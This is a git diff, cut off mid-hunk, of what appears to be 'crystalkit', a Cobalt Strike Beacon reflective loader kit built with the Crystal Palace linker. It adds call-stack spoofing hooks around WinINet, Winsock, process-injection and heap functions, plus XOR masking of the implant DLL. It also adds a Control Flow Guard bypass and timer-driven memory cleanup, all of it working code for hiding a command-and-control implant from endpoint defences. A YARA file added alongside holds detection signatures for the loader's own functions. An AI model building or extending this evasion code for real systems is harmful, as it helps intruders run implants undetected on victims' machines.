diff --git a/LICENSE b/LICENSE index e159130..86ef638 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd +Copyright (c) 2025 Daniel Duggan Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index c12246c..ba585eb 100644 --- a/Makefile +++ b/Makefile @@ -1,9 +1,7 @@ all: cd loader && make $@ - cd local-loader && make $@ cd postex-loader && make $@ clean: cd loader && make $@ - cd local-loader && make $@ cd postex-loader && make $@ diff --git a/crystalkit.cna b/crystalkit.cna index f97b4b4..de3289d 100644 --- a/crystalkit.cna +++ b/crystalkit.cna @@ -9,7 +9,7 @@ sub print_info { set BEACON_RDLL_GENERATE { - local ( '$beacon $arch $spec_path $spec $final' ); + local ( '$beacon $arch $spec_path $spec $cap $final' ); $beacon = $2; $arch = $3; @@ -24,7 +24,8 @@ set BEACON_RDLL_GENERATE $spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" ); $spec = [ LinkSpec Parse: $spec_path ]; - $final = [ $spec run: $beacon, [ new HashMap ] ]; + $cap = [ Capability Parse: cast ( $beacon, 'b' ) ]; + $final = [ $spec run: $cap, [ new HashMap ] ]; if ( strlen ( $final ) == 0 ) { @@ -41,7 +42,7 @@ set BEACON_RDLL_SIZE { set BEACON_RDLL_GENERATE_LOCAL { - local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' ); + local ( '$beacon $arch $gmh $gpa $spec_path $spec $cap $hash_map $final' ); $beacon = $2; $arch = $3; @@ -56,15 +57,16 @@ set BEACON_RDLL_GENERATE_LOCAL print_info ( "BEACON_RDLL_GENERATE_LOCAL" ); - $spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" ); + $spec_path = getFileProper ( script_resource ( "loader" ), "local-loader.spec" ); $spec = [ LinkSpec Parse: $spec_path ]; + $cap = [ Capability Parse: cast ( $beacon, 'b' ) ]; $hash_map = [ new HashMap ]; [ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ]; [ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ]; - $final = [ $spec run: $beacon, $hash_map ]; + $final = [ $spec run: $cap, $hash_map ]; if ( strlen ( $final ) == 0 ) { @@ -109,4 +111,4 @@ set POSTEX_RDLL_GENERATE } return $final; -} +} \ No newline at end of file diff --git a/crystalkit.yar b/crystalkit.yar new file mode 100644 index 0000000..74b3126 --- /dev/null +++ b/crystalkit.yar @@ -0,0 +1,259 @@ +rule TCG_7eee7002 { + meta: + date = "2026-03-05" + arch_context = "x64" + scan_context = "file, memory" + os = "windows" + generator = "Crystal Palace" + strings: + // ---------------------------------------- + // Function: cleanup_memory + // ---------------------------------------- + /* + * 48 89 D7 mov rdi, rdx + * F3 48 AB rep stosq + * C7 45 00 1F 00 10 00 mov dword ptr [rbp], 0x10001F + * 48 8B 05 00 00 00 00 mov rax, qword ptr [__imp_KERNEL32$CreateTimerQueue] + * (Score: 137) + */ + $r0_cleanup_memory = { 48 89 D7 F3 48 AB C7 45 00 1F 00 10 00 48 8B 05 ?? ?? ?? ?? } + + /* + * 41 B8 70 0E 00 00 mov r8d, 0xE70 + * BA 08 00 00 00 mov edx, 8 + * 48 89 C1 mov rcx, rax + * (Score: 42) + */ + $r1_cleanup_memory = { 41 B8 70 0E 00 00 BA 08 00 00 00 48 89 C1 } + + // ---------------------------------------- + // Function: get_text_section_size + // ---------------------------------------- + /* + * 48 89 C1 mov rcx, rax + * E8 87 F5 FF FF call ror13hash + * 89 45 DC mov dword ptr [rbp-0x24], eax + * 81 7D DC B4 F9 C2 EB cmp dword ptr [rbp-0x24], 0xEBC2F9B4 + * (Score: 135) + */ + $r2_get_text_section_size = { 48 89 C1 E8 ?? ?? ?? ?? 89 45 DC 81 7D DC B4 F9 C2 EB } + + // ---------------------------------------- + // Function: _HeapFree + // ---------------------------------------- + /* + * 48 8B 52 08 mov rdx, qword ptr [rdx+8] + * 49 89 44 08 08 mov qword ptr [r8+rcx+8], rax + * 49 89 54 08 10 mov qword ptr [r8+rcx+0x10], rdx + * (Score: 128) + */ + $r3_HeapFree = { 48 8B 52 08 49 89 44 08 08 49 89 54 08 10 } + + // ---------------------------------------- + // Function: bypass_cfg + // ---------------------------------------- + /* + * 48 8B 05 00 00 00 00 mov rax, qword ptr [__imp_NTDLL$NtSetInformationVirtualMemory] + * FF D0 call rax + * 89 45 FC mov dword ptr [rbp-4], eax + * 81 7D FC F4 00 00 C0 cmp dword ptr [rbp-4], 0xC00000F4 + * (Score: 134) + */ + $r4_bypass_cfg = { 48 8B 05 ?? ?? ?? ?? FF D0 89 45 FC 81 7D FC F4 00 00 C0 } + + // ---------------------------------------- + // Function: PicoLoad + // ---------------------------------------- + /* + * 8B 52 08 mov edx, dword ptr [rdx+8] + * 48 63 CA movsxd rcx, edx + * 48 8B 55 A8 mov rdx, qword ptr [rbp-0x58] + * 8B 52 04 mov edx, dword ptr [rdx+4] + * 48 63 D2 movsxd rdx, edx + * (Score: 74) + */ + $r5_PicoLoad = { 8B 52 08 48 63 CA 48 8B 55 A8 8B 52 04 48 63 D2 } + + // ---------------------------------------- + // Function: _GetProcAddress + // ---------------------------------------- + /* + * 48 89 C1 mov rcx, rax + * E8 01 CB FF FF call ror13hash + * 89 C1 mov ecx, eax + * BA FB 97 FD 0F mov edx, 0xFFD97FB + * 39 D1 cmp ecx, edx + * (Score: 268) + */ + $r6_GetProcAddress = { 48 89 C1 E8 ?? ?? ?? ?? 89 C1 BA FB 97 FD 0F 39 D1 } + + // ---------------------------------------- + // Function: ProcessImport + // ---------------------------------------- + /* + * 8B 52 0C mov edx, dword ptr [rdx+0xC] + * 89 D1 mov ecx, edx + * 48 8B 55 20 mov rdx, qword ptr [rbp+0x20] + * 48 01 CA add rdx, rcx + * 48 89 D1 mov rcx, rdx + * (Score: 46) + */ + $r7_ProcessImport = { 8B 52 0C 89 D1 48 8B 55 20 48 01 CA 48 89 D1 } + + // ---------------------------------------- + // Function: adler32sum + // ---------------------------------------- + /* + * 0F B6 D0 movzx edx, al + * 8B 45 FC mov eax, dword ptr [rbp-4] + * 01 C2 add edx, eax + * 89 D1 mov ecx, edx + * B8 71 80 07 80 mov eax, 0x80078071 + * (Score: 139) + */ + $r8_adler32sum = { 0F B6 D0 8B 45 FC 01 C2 89 D1 B8 71 80 07 80 } + + // ---------------------------------------- + // Function: dprintf + // ---------------------------------------- + /* + * 41 B9 04 00 00 00 mov r9d, 4 + * 41 B8 00 30 00 00 mov r8d, 0x3000 + * 48 89 C2 mov rdx, rax + * (Score: 42) + */ + $r9_dprintf = { 41 B9 04 00 00 00 41 B8 00 30 00 00 48 89 C2 } + + condition: + 5 of them +} + +rule TCG_31614b2a { + meta: + date = "2026-03-05" + arch_context = "x64" + scan_context = "file, memory" + os = "windows" + generator = "Crystal Palace" + strings: + // ---------------------------------------- + // Function: go + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA AA FC 0D 7C mov edx, 0x7C0DFCAA + * E8 17 07 00 00 call resolve + * (Score: 520) + */ + $r0_go = { 48 83 EC 20 B9 5B BC 4A 6A BA AA FC 0D 7C E8 ?? ?? ?? ?? } + + /* + * E8 2E 0F 00 00 call SizeOfDLL + * 89 C0 mov eax, eax + * 41 B9 04 00 00 00 mov r9d, 4 + * 41 B8 00 30 10 00 mov r8d, 0x103000 + * (Score: 269) + */ + $r1_go = { E8 ?? ?? ?? ?? 89 C0 41 B9 04 00 00 00 41 B8 00 30 10 00 } + + // ---------------------------------------- + // Function: find_gadget + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5D 68 FA 3C mov ecx, 0x3CFA685D + * BA 44 06 B6 CD mov edx, 0xCDB60644 + * E8 30 02 00 00 call resolve + * (Score: 520) + */ + $r2_find_gadget = { 48 83 EC 20 B9 5D 68 FA 3C BA 44 06 B6 CD E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: _VirtualProtect + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA 1B C6 46 79 mov edx, 0x7946C61B + * E8 A8 01 00 00 call resolve + * (Score: 520) + */ + $r3_VirtualProtect = { 48 83 EC 20 B9 5B BC 4A 6A BA 1B C6 46 79 E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: get_text_section_size + // ---------------------------------------- + /* + * 48 89 C1 mov rcx, rax + * E8 EE FC FF FF call ror13hash + * 89 45 DC mov dword ptr [rbp-0x24], eax + * 81 7D DC B4 F9 C2 EB cmp dword ptr [rbp-0x24], 0xEBC2F9B4 + * (Score: 135) + */ + $r4_get_text_section_size = { 48 89 C1 E8 ?? ?? ?? ?? 89 45 DC 81 7D DC B4 F9 C2 EB } + + // ---------------------------------------- + // Function: _VirtualFree + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA AC 33 06 03 mov edx, 0x30633AC + * E8 AE FE FF FF call resolve + * (Score: 520) + */ + $r5_VirtualFree = { 48 83 EC 20 B9 5B BC 4A 6A BA AC 33 06 03 E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: init_frame_info + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA 04 49 32 D3 mov edx, 0xD3324904 + * E8 2B F8 FF FF call resolve + * (Score: 520) + */ + $r6_init_frame_info = { 48 83 EC 20 B9 5B BC 4A 6A BA 04 49 32 D3 E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: calculate_function_stack_size_wrapper + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA D9 46 D8 C1 mov edx, 0xC1D846D9 + * E8 0E F6 FF FF call resolve + * (Score: 520) + */ + $r7_calculate_function_stack_size_wrapper = { 48 83 EC 20 B9 5B BC 4A 6A BA D9 46 D8 C1 E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: _LoadLibraryA + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA 8E 4E 0E EC mov edx, 0xEC0E4E8E + * E8 F7 F2 FF FF call resolve + * (Score: 520) + */ + $r8_LoadLibraryA = { 48 83 EC 20 B9 5B BC 4A 6A BA 8E 4E 0E EC E8 ?? ?? ?? ?? } + + // ---------------------------------------- + // Function: _VirtualAlloc + // ---------------------------------------- + /* + * 48 83 EC 20 sub rsp, 0x20 + * B9 5B BC 4A 6A mov ecx, 0x6A4ABC5B + * BA 54 CA AF 91 mov edx, 0x91AFCA54 + * E8 C9 E0 FF FF call resolve + * (Score: 520) + */ + $r9_VirtualAlloc = { 48 83 EC 20 B9 5B BC 4A 6A BA 54 CA AF 91 E8 ?? ?? ?? ?? } + + condition: + 5 of them +} + diff --git a/loader/loader.spec b/loader/loader.spec index 3c920ae..5da663f 100644 --- a/loader/loader.spec +++ b/loader/loader.spec @@ -1,9 +1,13 @@ x64: load "bin/loader.x64.o" - make pic +gofirst +optimize + make pic +gofirst +optimize +disco - # merge pic services - run "services.spec" + # merge services + load "bin/services.x64.o" + merge + + dfr "resolve" "ror13" + mergelib "../libtcg.x64.zip" # merge hooks into the loader load "bin/hooks.x64.o" @@ -25,6 +29,7 @@ x64: # mask & link the dll generate $MASK 128 + push $DLL xor $MASK preplen @@ -38,4 +43,4 @@ x64: run "pico.spec" link "pico" - export + export \ No newline at end of file diff --git a/local-loader/loader.spec b/loader/local-loader.spec similarity index 60% rename from local-loader/loader.spec rename to loader/local-loader.spec index d99eaf0..54610f9 100644 --- a/local-loader/loader.spec +++ b/loader/local-loader.spec @@ -1,10 +1,15 @@ x64: load "bin/loader.x64.o" - make pic +gofirst +optimize + make pic +gofirst +optimize +disco - # merge pic services - run "services.spec" + # merge services + load "bin/services.x64.o" + merge + + dfr "patch_resolve" "strings" + mergelib "../libtcg.x64.zip" + # patch smart pointers in patch "get_module_handle" $GMH patch "get_proc_address" $GPA @@ -21,14 +26,14 @@ x64: linkfunc "draugr_stub" # hook functions that the loader uses - attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" - attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" - attach "KERNEL32$VirtualProtect" "_VirtualProtect" - attach "KERNEL32$VirtualFree" "_VirtualFree" - preserve "KERNEL32$LoadLibraryA" "init_frame_info" + attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" + attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" + attach "KERNEL32$VirtualProtect" "_VirtualProtect" + attach "KERNEL32$VirtualFree" "_VirtualFree" # mask & link the dll generate $MASK 128 + push $DLL xor $MASK preplen @@ -42,4 +47,4 @@ x64: run "pico.spec" link "pico" - export + export \ No newline at end of file diff --git a/loader/pico.spec b/loader/pico.spec index 5089a05..d869cb9 100644 --- a/loader/pico.spec +++ b/loader/pico.spec @@ -35,8 +35,11 @@ x64: exportfunc "setup_memory" "__tag_setup_memory" # hook functions in the DLL + addhook "WININET$HttpSendRequestA" "_HttpSendRequestA" addhook "WININET$InternetOpenA" "_InternetOpenA" addhook "WININET$InternetConnectA" "_InternetConnectA" + addhook "WS2_32$WSAStartup" "_WSAStartup" + addhook "WS2_32$WSASocketA" "_WSASocketA" addhook "KERNEL32$CloseHandle" "_CloseHandle" addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" addhook "KERNEL32$CreateProcessA" "_CreateProcessA" @@ -44,8 +47,10 @@ x64: addhook "KERNEL32$CreateThread" "_CreateThread" addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle" addhook "KERNEL32$ExitThread" "_ExitThread" - addhook "KERNEL32$GetProcAddress" "_GetProcAddress" addhook "KERNEL32$GetThreadContext" "_GetThreadContext" + addhook "KERNEL32$HeapAlloc" "_HeapAlloc" + addhook "KERNEL32$HeapAlloc" "_HeapReAlloc" + addhook "KERNEL32$HeapFree" "_HeapFree" addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" addhook "KERNEL32$OpenProcess" "_OpenProcess" @@ -69,4 +74,4 @@ x64: mergelib "../libtcg.x64.zip" - export + export \ No newline at end of file diff --git a/loader/services.spec b/loader/services.spec deleted file mode 100644 index b1a1795..0000000 --- a/loader/services.spec +++ /dev/null @@ -1,8 +0,0 @@ -x64: - load "bin/services.x64.o" - merge - - mergelib "../libtcg.x64.zip" - - dfr "resolve" "ror13" "KERNEL32, NTDLL" - dfr "resolve_ext" "strings" diff --git a/loader/src/cfg.c b/loader/src/cfg.c index 0deba3f..b8d5d46 100644 --- a/loader/src/cfg.c +++ b/loader/src/cfg.c @@ -1,5 +1,4 @@ #include -#include "cfg.h" #define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) #define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) @@ -111,4 +110,4 @@ BOOL bypass_cfg ( PVOID address ) } return TRUE; -} +} \ No newline at end of file diff --git a/loader/src/cleanup.c b/loader/src/cleanup.c index 4446a69..e87f29b 100644 --- a/loader/src/cleanup.c +++ b/loader/src/cleanup.c @@ -5,11 +5,11 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD ); DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); @@ -53,10 +53,12 @@ void cleanup_memory ( MEMORY_LAYOUT * memory ) if ( ctx.Rip != 0 ) { + #define CTX_COUNT 3 + HANDLE heap = KERNEL32$GetProcessHeap ( ); - CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT ); - for ( int i = 0; i < 2; i++ ) { + for ( int i = 0; i < CTX_COUNT; i++ ) { memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); } @@ -72,16 +74,24 @@ void cleanup_memory ( MEMORY_LAYOUT * memory ) ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); - /* this pico */ + /* pico code */ ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); - ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code ); ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + /* pico data */ + ctx_free[ 2 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data ); + ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + /* give a decent delay so ExitThread has time to be called */ KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); } } -} +} \ No newline at end of file diff --git a/loader/src/cleanup.h b/loader/src/cleanup.h index 65c0861..ebdd31f 100644 --- a/loader/src/cleanup.h +++ b/loader/src/cleanup.h @@ -1 +1 @@ -void cleanup_memory ( MEMORY_LAYOUT * memory ); +void cleanup_memory ( MEMORY_LAYOUT * memory ); \ No newline at end of file diff --git a/loader/src/hooks.c b/loader/src/hooks.c index a86bcc0..b6f88e4 100644 --- a/loader/src/hooks.c +++ b/loader/src/hooks.c @@ -1,12 +1,14 @@ +#include #include #include #include -#include "tcg.h" -#include "memory.h" #include "spoof.h" +DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD ); DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); +DECLSPEC_IMPORT SOCKET WINAPI WS2_32$WSASocketA ( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD ); +DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup ( WORD, LPWSADATA ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); @@ -20,7 +22,7 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWOR DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); @@ -33,12 +35,29 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); +BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WININET$HttpSendRequestA ); + call.argc = 5; + + call.args [ 0 ] = spoof_arg ( hRequest ); + call.args [ 1 ] = spoof_arg ( lpszHeaders ); + call.args [ 2 ] = spoof_arg ( dwHeadersLength ); + call.args [ 3 ] = spoof_arg ( lpOptional ); + call.args [ 4 ] = spoof_arg ( dwOptionalLength ); + + return ( BOOL ) spoof_call ( &call ); +} + HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ) { FUNCTION_CALL call = { 0 }; - call.ptr = ( PVOID ) ( WININET$InternetOpenA ); - call.argc = 5; + call.ptr = ( PVOID ) ( WININET$InternetOpenA ); + call.argc = 5; + call.args [ 0 ] = spoof_arg ( lpszAgent ); call.args [ 1 ] = spoof_arg ( dwAccessType ); call.args [ 2 ] = spoof_arg ( lpszProxy ); @@ -52,8 +71,9 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, { FUNCTION_CALL call = { 0 }; - call.ptr = ( PVOID ) ( WININET$InternetConnectA ); - call.argc = 8; + call.ptr = ( PVOID ) ( WININET$InternetConnectA ); + call.argc = 8; + call.args [ 0 ] = spoof_arg ( hInternet ); call.args [ 1 ] = spoof_arg ( lpszServerName ); call.args [ 2 ] = spoof_arg ( nServerPort ); @@ -66,6 +86,36 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, return ( HINTERNET ) spoof_call ( &call ); } +int WINAPI _WSAStartup ( WORD wVersionRequested, LPWSADATA lpWSAData ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WS2_32$WSAStartup ); + call.argc = 2; + + call.args [ 0 ] = spoof_arg ( wVersionRequested ); + call.args [ 1 ] = spoof_arg ( lpWSAData ); + + return ( int ) spoof_call ( &call ); +} + +SOCKET WINAPI _WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( WS2_32$WSASocketA ); + call.argc = 6; + + call.args [ 0 ] = spoof_arg ( af ); + call.args [ 1 ] = spoof_arg ( type ); + call.args [ 2 ] = spoof_arg ( protocol ); + call.args [ 3 ] = spoof_arg ( lpProtocolInfo ); + call.args [ 4 ] = spoof_arg ( g ); + call.args [ 5 ] = spoof_arg ( dwFlags ); + + return ( SOCKET ) spoof_call ( &call ); +} + BOOL WINAPI _CloseHandle ( HANDLE hObject ) { FUNCTION_CALL call = { 0 }; @@ -95,7 +145,7 @@ HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMa return ( HANDLE ) spoof_call ( &call ); } -BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) +BOOL WINAPI _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) { FUNCTION_CALL call = { 0 }; @@ -411,4 +461,4 @@ BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); return ( BOOL ) spoof_call ( &call ); -} +} \ No newline at end of file diff --git a/loader/src/loader.c b/loader/src/loader.c index c33972c..fc872c5 100644 --- a/loader/src/loader.c +++ b/loader/src/loader.c @@ -1,7 +1,7 @@ #include #include "loader.h" -#include "tcg.h" #include "memory.h" +#include "tcg.h" DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); @@ -17,7 +17,7 @@ int __tag_setup_memory ( ); typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); -void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory ) { DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; IMAGE_SECTION_HEADER * section_hdr = NULL; @@ -59,14 +59,16 @@ void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REG KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); /* track memory */ - region->Sections[ i ].BaseAddress = section_dst; - region->Sections[ i ].Size = section_size; - region->Sections[ i ].CurrentProtect = new_protect; - region->Sections[ i ].PreviousProtect = new_protect; + dll_memory->Sections[ i ].BaseAddress = section_dst; + dll_memory->Sections[ i ].Size = section_size; + dll_memory->Sections[ i ].CurrentProtect = new_protect; + dll_memory->Sections[ i ].PreviousProtect = new_protect; /* advance to section */ section_hdr++; } + + dll_memory->Count = section_count; } void go ( ) @@ -80,32 +82,24 @@ void go ( ) char * pico_src = GETRESOURCE ( _PICO_ ); /* allocate memory for it */ - PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); /* load it into memory */ - PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); + PicoLoad ( &funcs, pico_src, pico_code, pico_data ); /* make code section RX */ DWORD old_protect; - KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); /* begin tracking memory allocations */ MEMORY_LAYOUT memory = { 0 }; - memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); - memory.Pico.Size = sizeof ( PICO ); - - memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); - memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); - memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; - 